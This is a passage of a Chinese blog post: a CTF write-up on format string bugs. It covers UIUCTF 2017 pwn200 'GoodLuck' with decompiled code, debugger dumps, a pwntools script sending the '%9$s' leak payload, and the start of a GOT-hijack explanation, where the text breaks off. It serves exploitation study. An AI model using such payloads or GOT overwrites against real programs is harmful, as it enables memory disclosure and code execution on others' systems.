<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      格式化字符串漏洞举例 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        格式化字符串漏洞举例
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-02-06
      </span>

                                                                        <span class="post-pubtime"> 本文共5.2k字 </span>

                                                                        <span class="post-pubtime">
        大约需要40min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h1 id="格式化字符串漏洞例子"><a href="#格式化字符串漏洞例子" class="headerlink" title="格式化字符串漏洞例子"></a>格式化字符串漏洞例子</h1><h2 id="64位程序格式化字符串漏洞"><a href="#64位程序格式化字符串漏洞" class="headerlink" title="64位程序格式化字符串漏洞"></a>64位程序格式化字符串漏洞</h2><h3 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h3><p>前六个整形或指针参数依次保存在RDI，RSI，RDX，RCX，R8，和R9寄存器中，如果还有更多的参数的话才会保存在栈上。</p>
<h3 id="例子"><a href="#例子" class="headerlink" title="例子"></a>例子</h3><p>这里用的是2017年的UIUCTF中的<strong>pwn200GoodLuck</strong>为例来介绍。</p>
<p>因为只有本地，所以在本地放了flag.txt文件</p>
<p>题目链接：<a target="_blank" rel="noopener" href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck">https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/fmtstr/2017-UIUCTF-pwn200-GoodLuck</a></p>
<p>首先checksec下：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">hacker@ubuntu:~/Desktop/<span class="number">2017</span>-UIUCTF-pwn200-GoodLuck$ checksec goodluck</span><br><span class="line">[*] <span class="string">&#x27;/home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck&#x27;</span></span><br><span class="line">    Arch:     amd64<span class="number">-64</span>-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      <span class="function">No <span class="title">PIE</span> <span class="params">(<span class="number">0x400000</span>)</span></span></span><br></pre></td></tr></table></figure>

<p>开了NX和部分RELRO。</p>
<p>漏洞很显然，就在printf那里。</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> v4; <span class="comment">// [rsp+3h] [rbp-3Dh]</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> i; <span class="comment">// [rsp+4h] [rbp-3Ch]</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> j; <span class="comment">// [rsp+4h] [rbp-3Ch]</span></span><br><span class="line">  <span class="keyword">char</span> *format; <span class="comment">// [rsp+8h] [rbp-38h]</span></span><br><span class="line">  _IO_FILE *fp; <span class="comment">// [rsp+10h] [rbp-30h]</span></span><br><span class="line">  <span class="keyword">char</span> *v9; <span class="comment">// [rsp+18h] [rbp-28h]</span></span><br><span class="line">  <span class="keyword">char</span> v10[<span class="number">24</span>]; <span class="comment">// [rsp+20h] [rbp-20h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v11; <span class="comment">// [rsp+38h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v11 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  fp = fopen(<span class="string">&quot;flag.txt&quot;</span>, <span class="string">&quot;r&quot;</span>);</span><br><span class="line">  <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">21</span>; ++i )</span><br><span class="line">    v10[i] = _IO_getc(fp);</span><br><span class="line">  fclose(fp);</span><br><span class="line">  v9 = v10;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;what&#x27;s the flag&quot;</span>);</span><br><span class="line">  fflush(_bss_start);</span><br><span class="line">  format = <span class="number">0LL</span>;</span><br><span class="line">  __isoc99_scanf(<span class="string">&quot;%ms&quot;</span>, &amp;format);</span><br><span class="line">  <span class="keyword">for</span> ( j = <span class="number">0</span>; j &lt;= <span class="number">21</span>; ++j )</span><br><span class="line">  &#123;</span><br><span class="line">    v4 = format[j];</span><br><span class="line">    <span class="keyword">if</span> ( !v4 || v10[j] != v4 )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;You answered:&quot;</span>);</span><br><span class="line">      <span class="built_in">printf</span>(format);</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;\nBut that was totally wrong lol get rekt&quot;</span>);</span><br><span class="line">      fflush(_bss_start);</span><br><span class="line">      <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;That&#x27;s right, the flag is %s\n&quot;</span>, v9);</span><br><span class="line">  fflush(_bss_start);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ b <span class="built_in">printf</span> </span><br><span class="line">Breakpoint <span class="number">1</span> at <span class="number">0x400640</span></span><br><span class="line">gdb-peda$ r</span><br><span class="line">Starting program: /home/hacker/Desktop/<span class="number">2017</span>-UIUCTF-pwn200-GoodLuck/goodluck </span><br><span class="line">/bin/bash: /home/hacker/Desktop/<span class="number">2017</span>-UIUCTF-pwn200-GoodLuck/goodluck: Permission denied</span><br><span class="line">/bin/bash: line <span class="number">0</span>: exec: /home/hacker/Desktop/<span class="number">2017</span>-UIUCTF-pwn200-GoodLuck/goodluck: cannot execute: Permission denied</span><br><span class="line">During startup program exited with code <span class="number">126.</span></span><br><span class="line">gdb-peda$ r</span><br><span class="line">Starting program: /home/hacker/Desktop/<span class="number">2017</span>-UIUCTF-pwn200-GoodLuck/goodluck </span><br><span class="line">what<span class="number">&#x27;</span>s the flag</span><br><span class="line"><span class="number">12345678</span></span><br><span class="line">You answered:</span><br><span class="line"></span><br><span class="line">[----------------------------------registers-----------------------------------]</span><br><span class="line">RAX: <span class="number">0x0</span> </span><br><span class="line">RBX: <span class="number">0x0</span> </span><br><span class="line">RCX: <span class="number">0x7ffff7af2224</span> (&lt;__GI___libc_write+<span class="number">20</span>&gt;:	cmp    rax,<span class="number">0xfffffffffffff000</span>)</span><br><span class="line">RDX: <span class="number">0x7ffff7dcf8c0</span> --&gt; <span class="number">0x0</span> </span><br><span class="line">RSI: <span class="number">0x602490</span> (<span class="string">&quot;You answered:\ng\n111111&#125;\n&quot;</span>)</span><br><span class="line">RDI: <span class="number">0x602cb0</span> (<span class="string">&quot;12345678&quot;</span>)</span><br><span class="line">RBP: <span class="number">0x7fffffffdf40</span> --&gt; <span class="number">0x400900</span> (&lt;__libc_csu_init&gt;:	push   r15)</span><br><span class="line">RSP: <span class="number">0x7fffffffdef8</span> --&gt; <span class="number">0x400890</span> (&lt;main+<span class="number">234</span>&gt;:	mov    edi,<span class="number">0x4009b8</span>)</span><br><span class="line">RIP: <span class="number">0x7ffff7a46f70</span> (&lt;__printf&gt;:	sub    rsp,<span class="number">0xd8</span>)</span><br><span class="line">R8 : <span class="number">0x7ffff7fdc500</span> (<span class="number">0x00007ffff7fdc500</span>)</span><br><span class="line">R9 : <span class="number">0x7ffff7b50a60</span> (&lt;__memcpy_ssse3+<span class="number">9168</span>&gt;:	mov    rcx,QWORD PTR [rsi<span class="number">-0xd</span>])</span><br><span class="line">R10: <span class="number">0x3</span> </span><br><span class="line">R11: <span class="number">0x7ffff7a46f70</span> (&lt;__printf&gt;:	sub    rsp,<span class="number">0xd8</span>)</span><br><span class="line">R12: <span class="number">0x4006b0</span> (&lt;_start&gt;:	<span class="keyword">xor</span>    ebp,ebp)</span><br><span class="line">R13: <span class="number">0x7fffffffe020</span> --&gt; <span class="number">0x1</span> </span><br><span class="line">R14: <span class="number">0x0</span> </span><br><span class="line">R15: <span class="number">0x0</span></span><br><span class="line">EFLAGS: <span class="number">0x202</span> (carry parity adjust zero sign trap INTERRUPT direction overflow)</span><br><span class="line">[-------------------------------------code-------------------------------------]</span><br><span class="line">   <span class="number">0x7ffff7a46f5c</span> &lt;__fprintf+<span class="number">172</span>&gt;:	call   <span class="number">0x7ffff7b16b10</span> &lt;__stack_chk_fail&gt;</span><br><span class="line">   <span class="number">0x7ffff7a46f61</span>:	nop    WORD PTR cs:[rax+rax*<span class="number">1</span>+<span class="number">0x0</span>]</span><br><span class="line">   <span class="number">0x7ffff7a46f6b</span>:	nop    DWORD PTR [rax+rax*<span class="number">1</span>+<span class="number">0x0</span>]</span><br><span class="line">=&gt; <span class="number">0x7ffff7a46f70</span> &lt;__printf&gt;:	sub    rsp,<span class="number">0xd8</span></span><br><span class="line">   <span class="number">0x7ffff7a46f77</span> &lt;__printf+<span class="number">7</span>&gt;:	test   al,al</span><br><span class="line">   <span class="number">0x7ffff7a46f79</span> &lt;__printf+<span class="number">9</span>&gt;:	mov    QWORD PTR [rsp+<span class="number">0x28</span>],rsi</span><br><span class="line">   <span class="number">0x7ffff7a46f7e</span> &lt;__printf+<span class="number">14</span>&gt;:	mov    QWORD PTR [rsp+<span class="number">0x30</span>],rdx</span><br><span class="line">   <span class="number">0x7ffff7a46f83</span> &lt;__printf+<span class="number">19</span>&gt;:	mov    QWORD PTR [rsp+<span class="number">0x38</span>],rcx</span><br><span class="line">[------------------------------------<span class="built_in">stack</span>-------------------------------------]</span><br><span class="line"><span class="number">0000</span>| <span class="number">0x7fffffffdef8</span> --&gt; <span class="number">0x400890</span> (&lt;main+<span class="number">234</span>&gt;:	mov    edi,<span class="number">0x4009b8</span>)</span><br><span class="line"><span class="number">0008</span>| <span class="number">0x7fffffffdf00</span> --&gt; <span class="number">0x31000001</span> </span><br><span class="line"><span class="number">0016</span>| <span class="number">0x7fffffffdf08</span> --&gt; <span class="number">0x602cb0</span> (<span class="string">&quot;12345678&quot;</span>)</span><br><span class="line"><span class="number">0024</span>| <span class="number">0x7fffffffdf10</span> --&gt; <span class="number">0x602260</span> --&gt; <span class="number">0x0</span> </span><br><span class="line"><span class="number">0032</span>| <span class="number">0x7fffffffdf18</span> --&gt; <span class="number">0x7fffffffdf20</span> (<span class="string">&quot;flag&#123;&quot;</span>, <span class="string">&#x27;1&#x27;</span> &lt;repeats <span class="number">17</span> times&gt;)</span><br><span class="line"><span class="number">0040</span>| <span class="number">0x7fffffffdf20</span> (<span class="string">&quot;flag&#123;&quot;</span>, <span class="string">&#x27;1&#x27;</span> &lt;repeats <span class="number">17</span> times&gt;)</span><br><span class="line"><span class="number">0048</span>| <span class="number">0x7fffffffdf28</span> (<span class="string">&#x27;1&#x27;</span> &lt;repeats <span class="number">14</span> times&gt;)</span><br><span class="line"><span class="number">0056</span>| <span class="number">0x7fffffffdf30</span> --&gt; <span class="number">0x313131313131</span> (<span class="string">&#x27;111111&#x27;</span>)</span><br><span class="line">[------------------------------------------------------------------------------]</span><br><span class="line">Legend: code, data, rodata, value</span><br><span class="line"></span><br><span class="line">Breakpoint <span class="number">1</span>, __printf (format=<span class="number">0x602cb0</span> <span class="string">&quot;12345678&quot;</span>) at <span class="built_in">printf</span>.c:<span class="number">28</span></span><br><span class="line"><span class="number">28</span>	<span class="built_in">printf</span>.c: No such file <span class="keyword">or</span> directory.</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">─────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────</span><br><span class="line"> RAX  <span class="number">0x0</span></span><br><span class="line"> RBX  <span class="number">0x0</span></span><br><span class="line"> RCX  <span class="number">0x7ffff7af2224</span> (write+<span class="number">20</span>) ◂— cmp    rax, <span class="number">-0x1000</span> <span class="comment">/* &#x27;H=&#x27; */</span></span><br><span class="line"> RDX  <span class="number">0x7ffff7dcf8c0</span> (_IO_stdfile_1_lock) ◂— <span class="number">0x0</span></span><br><span class="line"> RDI  <span class="number">0x602cb0</span> ◂— <span class="string">&#x27;12345678&#x27;</span></span><br><span class="line"> RSI  <span class="number">0x602490</span> ◂— <span class="string">&#x27;You answered:\ng\n111111&#125;\n&#x27;</span></span><br><span class="line"> R8   <span class="number">0x7ffff7fdc500</span> ◂— <span class="number">0x7ffff7fdc500</span></span><br><span class="line"> R9   <span class="number">0x7ffff7b50a60</span> (__memcpy_ssse3+<span class="number">9168</span>) ◂— mov    rcx, qword ptr [rsi - <span class="number">0xd</span>]</span><br><span class="line"> R10  <span class="number">0x3</span></span><br><span class="line"> R11  <span class="number">0x7ffff7a46f70</span> (<span class="built_in">printf</span>) ◂— sub    rsp, <span class="number">0xd8</span></span><br><span class="line"> R12  <span class="number">0x4006b0</span> (_start) ◂— <span class="keyword">xor</span>    ebp, ebp</span><br><span class="line"> R13  <span class="number">0x7fffffffe020</span> ◂— <span class="number">0x1</span></span><br><span class="line"> R14  <span class="number">0x0</span></span><br><span class="line"> R15  <span class="number">0x0</span></span><br><span class="line"> RBP  <span class="number">0x7fffffffdf40</span> —▸ <span class="number">0x400900</span> (__libc_csu_init) ◂— push   r15</span><br><span class="line"> RSP  <span class="number">0x7fffffffdef8</span> —▸ <span class="number">0x400890</span> (main+<span class="number">234</span>) ◂— mov    edi, <span class="number">0x4009b8</span></span><br><span class="line"> RIP  <span class="number">0x7ffff7a46f70</span> (<span class="built_in">printf</span>) ◂— sub    rsp, <span class="number">0xd8</span></span><br><span class="line">───────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────</span><br><span class="line"> ► <span class="number">0x7ffff7a46f70</span> &lt;<span class="built_in">printf</span>&gt;        sub    rsp, <span class="number">0xd8</span></span><br><span class="line">    ↓</span><br><span class="line">   <span class="number">0x7ffff7a46f79</span> &lt;<span class="built_in">printf</span>+<span class="number">9</span>&gt;      mov    qword ptr [rsp + <span class="number">0x28</span>], rsi</span><br><span class="line">   <span class="number">0x7ffff7a46f7e</span> &lt;<span class="built_in">printf</span>+<span class="number">14</span>&gt;     mov    qword ptr [rsp + <span class="number">0x30</span>], rdx</span><br><span class="line">   <span class="number">0x7ffff7a46f83</span> &lt;<span class="built_in">printf</span>+<span class="number">19</span>&gt;     mov    qword ptr [rsp + <span class="number">0x38</span>], rcx</span><br><span class="line">   <span class="number">0x7ffff7a46f88</span> &lt;<span class="built_in">printf</span>+<span class="number">24</span>&gt;     mov    qword ptr [rsp + <span class="number">0x40</span>], r8</span><br><span class="line">   <span class="number">0x7ffff7a46f8d</span> &lt;<span class="built_in">printf</span>+<span class="number">29</span>&gt;     mov    qword ptr [rsp + <span class="number">0x48</span>], r9</span><br><span class="line">   <span class="number">0x7ffff7a46f92</span> &lt;<span class="built_in">printf</span>+<span class="number">34</span>&gt;     je     <span class="built_in">printf</span>+<span class="number">91</span> &lt;<span class="built_in">printf</span>+<span class="number">91</span>&gt;</span><br><span class="line">    ↓</span><br><span class="line">   <span class="number">0x7ffff7a46fcb</span> &lt;<span class="built_in">printf</span>+<span class="number">91</span>&gt;     mov    rax, qword ptr fs:[<span class="number">0x28</span>]</span><br><span class="line">   <span class="number">0x7ffff7a46fd4</span> &lt;<span class="built_in">printf</span>+<span class="number">100</span>&gt;    mov    qword ptr [rsp + <span class="number">0x18</span>], rax</span><br><span class="line">   <span class="number">0x7ffff7a46fd9</span> &lt;<span class="built_in">printf</span>+<span class="number">105</span>&gt;    <span class="keyword">xor</span>    eax, eax</span><br><span class="line">   <span class="number">0x7ffff7a46fdb</span> &lt;<span class="built_in">printf</span>+<span class="number">107</span>&gt;    lea    rax, [rsp + <span class="number">0xe0</span>]</span><br><span class="line">───────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────</span><br><span class="line"><span class="number">00</span>:<span class="number">0000</span>│ rsp  <span class="number">0x7fffffffdef8</span> —▸ <span class="number">0x400890</span> (main+<span class="number">234</span>) ◂— mov    edi, <span class="number">0x4009b8</span></span><br><span class="line"><span class="number">01</span>:<span class="number">0008</span>│      <span class="number">0x7fffffffdf00</span> ◂— <span class="number">0x31000001</span></span><br><span class="line"><span class="number">02</span>:<span class="number">0010</span>│      <span class="number">0x7fffffffdf08</span> —▸ <span class="number">0x602cb0</span> ◂— <span class="string">&#x27;12345678&#x27;</span></span><br><span class="line"><span class="number">03</span>:<span class="number">0018</span>│      <span class="number">0x7fffffffdf10</span> —▸ <span class="number">0x602260</span> ◂— <span class="number">0x0</span></span><br><span class="line"><span class="number">04</span>:<span class="number">0020</span>│      <span class="number">0x7fffffffdf18</span> —▸ <span class="number">0x7fffffffdf20</span> ◂— <span class="string">&#x27;flag&#123;11111111111111111&#x27;</span></span><br><span class="line"><span class="number">05</span>:<span class="number">0028</span>│      <span class="number">0x7fffffffdf20</span> ◂— <span class="string">&#x27;flag&#123;11111111111111111&#x27;</span></span><br><span class="line"><span class="number">06</span>:<span class="number">0030</span>│      <span class="number">0x7fffffffdf28</span> ◂— <span class="string">&#x27;11111111111111&#x27;</span></span><br><span class="line"><span class="number">07</span>:<span class="number">0038</span>│      <span class="number">0x7fffffffdf30</span> ◂— <span class="number">0x313131313131</span> <span class="comment">/* &#x27;111111&#x27; */</span></span><br><span class="line">─────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────</span><br><span class="line"> ► f <span class="number">0</span>     <span class="number">7f</span>fff7a46f70 <span class="built_in">printf</span></span><br><span class="line">   f <span class="number">1</span>           <span class="number">400890</span> main+<span class="number">234</span></span><br><span class="line">   f <span class="number">2</span>     <span class="number">7f</span>fff7a03bf7 __libc_start_main+<span class="number">231</span></span><br><span class="line">────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────</span><br></pre></td></tr></table></figure>

<p>可以看到flag在栈上偏移为4， x64 前 6 个参数存在寄存器上面，而第一个参数又是格式化字符串</p>
<p>所以是第9个参数，payload ：%9$s</p>
<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.log_level = &#x27;debug&#x27;</span></span><br><span class="line">goodluck = ELF(<span class="string">&#x27;./goodluck&#x27;</span>)</span><br><span class="line"></span><br><span class="line">sh = process(<span class="string">&#x27;./goodluck&#x27;</span>)</span><br><span class="line"></span><br><span class="line">payload = <span class="string">&quot;%9$s&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span> payload</span><br><span class="line"><span class="comment">#gdb.attach(sh)</span></span><br><span class="line">sh.sendline(payload)</span><br><span class="line"><span class="built_in">print</span> sh.recv()</span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">hacker@ubuntu:~/Desktop/<span class="number">2017</span>-UIUCTF-pwn200-GoodLuck$ python <span class="built_in">exp</span>.py </span><br><span class="line">[*] <span class="string">&#x27;/home/hacker/Desktop/2017-UIUCTF-pwn200-GoodLuck/goodluck&#x27;</span></span><br><span class="line">    Arch:     amd64<span class="number">-64</span>-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      <span class="function">No <span class="title">PIE</span> <span class="params">(<span class="number">0x400000</span>)</span></span></span><br><span class="line"><span class="function">[+] Starting local process &#x27;./goodluck&#x27;: pid 15774</span></span><br><span class="line"><span class="function">%9$s</span></span><br><span class="line"><span class="function">[*] Process &#x27;./goodluck&#x27; stopped with <span class="built_in">exit</span> code 0 <span class="params">(pid <span class="number">15774</span>)</span></span></span><br><span class="line"><span class="function">what&#x27;s the flag</span></span><br><span class="line"><span class="function">You answered:</span></span><br><span class="line"><span class="function">flag</span>&#123;<span class="number">111111111111111</span>&#125;</span><br><span class="line"></span><br><span class="line">But that was totally wrong lol get rekt</span><br></pre></td></tr></table></figure>

<h2 id="hijack-GOT"><a href="#hijack-GOT" class="headerlink" title="hijack GOT"></a>hijack GOT</h2><h3 id="原理-1"><a href="#原理-1" class="headerlink" title="原理"></a>原理</h3><p>目前的 ELF 编译系统使用一种成为延迟绑定( lazy binding )的技术来实现对共享库中函数的调用过程。该机制主要通过两个数据结构 GOT 和 过程链接表( Procedure Linkage Table , PLT )实现。其简化的原理为 : 当目标模块存在一个外部共享库的函数调用时，其在汇编层面使用 call 指令实现调用，其作用为跳转至对应函数的 PLT 表项处执行，该表项的第一条指令为 jmp *[ 对应 GOT 项的地址 ]，第一次执行函数调用时，通过 GOT 与 PLT 的合作，会将最终调用函数的地址确定下来，并存放在其对应的 GOT 表项中。当后续再发生调用时， jmp *[ 对应 GOT 项的地址 ] 指令即表示直接跳转至目标函数处执行。</p>
<p>在目前的 C 程序中，libc 中的函数都是通过 GOT 表来跳转的。此外，在没有开启 RELRO 保护时，每个 libc 的函数对应的 GOT 表项是可以被修改的。因此，我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而，程序在执行 printf 的时候实际执行的是 system 函数。</p>
<p>假设我们需要将函数A的地址覆盖为函数B的地址，那么步骤如下：</p>
<ol>
<li><p>确定函数A的GOT表地址</p>
</li>
<li><p>确定函数B的地址</p>
<p>在这一步，需要我们自己想办法来泄露对应函数 B 的地址。</p>
</li>
<li><p>将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。</p>
<p>这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种</p>
<ul>
<li>使用write函数</li>
</ul>
